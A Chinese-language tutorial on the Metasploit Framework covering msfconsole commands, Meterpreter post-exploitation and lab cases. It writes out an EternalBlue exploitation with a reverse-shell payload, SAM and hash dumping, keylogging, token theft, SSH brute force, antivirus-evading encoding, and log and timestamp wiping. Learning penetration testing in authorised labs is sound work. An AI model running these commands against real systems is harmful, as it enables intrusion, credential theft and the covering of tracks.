Metasploit Framework(简称MSF)是一款功能强大的开源渗透测试工具,广泛应用于网络安全领域。它集成了大量的漏洞利用模块(exploits)、辅助模块(auxiliary)和载荷(payloads),为安全研究人员和渗透测试者提供了从信息收集到漏洞利用的全流程支持。本教程将详细介绍MSF的控制台(MSFconsole)基本命令、使用流程、Meterpreter功能以及实战案例,帮助读者快速上手并掌握其核心技巧。
一、MSF概述与安装
1.1 什么是Metasploit Framework?
Metasploit Framework由H.D. Moore于2003年首次发布,后由Rapid7公司维护。它最初是一个漏洞利用开发框架,现已发展为包含数千个模块的综合性渗透测试平台。MSF支持多种操作系统(如Windows、Linux、macOS),通过命令行界面(MSFconsole)或图形界面(如Armitage)操作。
MSF的核心组件包括:
- Exploits:漏洞利用模块,用于攻击目标系统。
- Payloads:攻击成功后执行的代码,如反弹shell。
- Auxiliary:辅助模块,用于扫描、嗅探等任务。
- Meterpreter:高级后门工具,提供丰富的后渗透功能。
1.2 安装MSF
在Linux(如Kali Linux)上安装MSF非常简单,因为Kali已预装Metasploit。若需手动安装,可按以下步骤操作:
- 更新系统:
sudo apt update && sudo apt upgrade -y
- 安装Metasploit:
sudo apt install metasploit-framework -y
- 初始化数据库:
msfdb init
- 启动MSFconsole:
msfconsole
安装完成后,输入msfconsole -q
即可进入控制台界面(-q
:不显示欢迎信息)。
二、MSFconsole基本命令与使用流程
MSFconsole是MSF的主要交互界面,提供了丰富的命令用于模块管理、目标配置和攻击执行。以下是基本命令的详细说明。
2.1 模块查看与搜索
- show exploits:显示所有漏洞利用模块。
- 示例:输入
show exploits
,查看可用exploit列表,如windows/smb/ms17_010_eternalblue
。
- 示例:输入
- show payloads:显示所有载荷。
- 示例:输入
show payloads
,列出如windows/meterpreter/reverse_tcp
。
- 示例:输入
- show auxiliary:显示所有辅助模块。
- 示例:输入
show auxiliary
,查看扫描模块如auxiliary/scanner/portscan/tcp
。
- 示例:输入
- search :搜索模块。
- 示例:
search smb
查找与SMB相关的模块,返回结果带索引号。
- 示例:
2.2 模块加载与信息查看
- use :加载指定模块。
- 示例:
use windows/smb/psexec
加载Psexec模块。
- 示例:
- use :通过搜索结果的索引号加载模块。
- 示例:
search smb
后显示0: windows/smb/psexec
,输入use 0
。
- 示例:
- info:查看模块详细信息。
- 示例:在
use windows/smb/psexec
后输入info
,显示描述、选项和参考。
- 示例:在
2.3 参数配置
- set :设置特定参数。
- 示例:
set RHOST 192.168.1.10
设置目标IP。
- 示例:
- setg :全局设置参数。
- 示例:
setg LHOST 192.168.1.100
全局设置本地IP。
- 示例:
- show options:显示模块选项。
- 示例:输入后查看
RHOST
、LHOST
等是否正确配置。
- 示例:输入后查看
- show targets:显示支持的目标类型。
- 示例:列出目标操作系统版本。
- set target :指定目标类型。
- 示例:
set target 1
选择Windows 7 SP1。
- 示例:
- set payload :设置载荷。
- 示例:
set payload windows/meterpreter/reverse_tcp
。
- 示例:
- set payload :通过索引设置载荷。
- 示例:
show payloads
后用set payload 0
。
- 示例:
2.4 执行与管理
- check:检查目标是否易受攻击。
- 示例:
check
返回“Target is vulnerable”或“Not vulnerable”。
- 示例:
- exploit:执行攻击。
- 示例:
exploit
启动漏洞利用。
- 示例:
- exploit -j:后台运行攻击。
- 示例:
exploit -j
后可用sessions -l
查看会话。
- 示例:
- exploit -z:成功后不交互。
- 示例:适合自动化脚本。
- exploit -e :指定编码器。
- 示例:
exploit -e shikata_ga_nai
绕过杀软。
- 示例:
- sessions -l:列出会话。
- 示例:显示所有Meterpreter或shell会话。
- sessions -i :进入指定会话。
- 示例:
sessions -i 1
进入会话1。
- 示例:
2.5 使用流程示例
- 启动MSFconsole:
msfconsole
。 - 搜索模块:
search eternalblue
。 - 加载模块:
use exploit/windows/smb/ms17_010_eternalblue
。 - 查看选项:
show options
。 - 设置参数:
set RHOST 192.168.1.10 set LHOST 192.168.1.100 set payload windows/meterpreter/reverse_tcp
- 检查漏洞:
check
。 - 执行攻击:
exploit
。 - 查看会话:
sessions -l
。
三、Meterpreter高级功能
Meterpreter是MSF的标志性后门工具,提供强大的后渗透能力。成功利用漏洞后,可通过Meterpreter控制目标系统。
3.1 基本命令
- help:显示帮助信息。
- sysinfo:查看系统信息。
- 示例:返回“OS: Windows 10, Architecture: x64”。
- ps:列出进程。
- 示例:显示PID、进程名和用户。
- migrate :迁移到指定进程。
- 示例:
migrate 1234
迁移到 explorer.exe。
- 示例:
- shell:进入交互式shell。
- 示例:运行
cmd.exe
。
- 示例:运行
3.2 权限提升与伪装
- getsystem:尝试提权至SYSTEM。
- 示例:成功后拥有最高权限。
- use incognito:加载伪装模块。
- list_tokens -u:列出用户令牌。
- impersonate_token <DOMAIN\USER>:伪装为指定用户。
- 示例:
impersonate_token "DOMAIN\Admin"
。
- 示例:
- steal_token :窃取进程令牌。
3.3 文件与键盘操作
- upload :上传文件。
- 示例:
upload /tmp/malware.exe C:\Windows\Temp
。
- 示例:
- download :下载文件。
- 示例:
download C:\Users\user\secret.txt
。
- 示例:
- keyscan_start:开始键盘记录。
- keyscan_dump:导出记录。
- keyscan_stop:停止记录。
3.4 系统管理
- hashdump:导出密码哈希。
- 示例:获取SAM数据库中的NTLM哈希。
- clearev:清除事件日志。
- timestomp:修改文件时间戳。
- 示例:
timestomp C:\file.txt -z
抹除痕迹。
- 示例:
- reboot:重启目标。
3.5 网络嗅探
- use sniffer:加载嗅探模块。
- sniffer_interfaces:列出网络接口。
- sniffer_start :开始嗅探。
- 示例:
sniffer_start 1
捕获数据包。
- 示例:
四、数据库与辅助功能
4.1 数据库操作
MSF支持数据库存储扫描结果,提升效率。
- db_create :创建数据库。
- 示例:
db_create mydb
。
- 示例:
- db_connect :连接数据库。
- 示例:
db_connect mydb
。
- 示例:
- db_nmap:运行Nmap并保存结果。
- 示例:
db_nmap -sT -v 192.168.1.0/24
。
- 示例:
- db_destroy:删除数据库。
- 示例:
db_destroy mydb
。
- 示例:
4.2 辅助模块
辅助模块用于信息收集、扫描等任务。
- 示例:端口扫描
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 set PORTS 1-1000 run
五、实战案例
5.1 EternalBlue漏洞利用
场景:攻击Windows 7目标(IP: 192.168.1.10)。
- 启动MSFconsole。
- 加载模块:
use exploit/windows/smb/ms17_010_eternalblue
。 - 配置参数:
set RHOST 192.168.1.10 set LHOST 192.168.1.100 set payload windows/meterpreter/reverse_tcp
- 检查:
check
(返回“Vulnerable”)。 - 执行:
exploit
。 - 进入Meterpreter:
sessions -i 1
。 - 提权:
getsystem
。 - 下载文件:
download C:\Windows\system32\config\SAM
。
5.2 弱密码爆破
场景:爆破SSH服务(IP: 192.168.1.20)。
- 加载模块:
use auxiliary/scanner/ssh/ssh_login
。 - 配置:
set RHOSTS 192.168.1.20 set USERNAME root set PASS_FILE /usr/share/wordlists/rockyou.txt
- 运行:
run
。 - 成功后进入会话:
sessions -i 1
。
六、使用技巧与注意事项
6.1 优化技巧
- 后台运行:用
exploit -j
和sessions -l
管理多目标。 - 自动化脚本:设置
set autorunscript migrate -f
自动迁移进程。 - 编码绕过:用
exploit -e shikata_ga_nai
躲避检测。
6.2 注意事项
- 合法性:仅在授权环境下使用MSF。
- 稳定性:避免过多线程(如
-t 1000
)导致目标崩溃。 - 更新:定期运行
msfupdate
更新模块。
七、总结
Metasploit Framework以其强大的模块化和灵活性,成为渗透测试的必备工具。通过本教程,你已掌握MSFconsole的基本命令、Meterpreter功能和实战应用。无论是漏洞利用还是后渗透操作,MSF都能提供高效支持。建议读者结合靶场(如Hack The Box)反复实践,提升技能。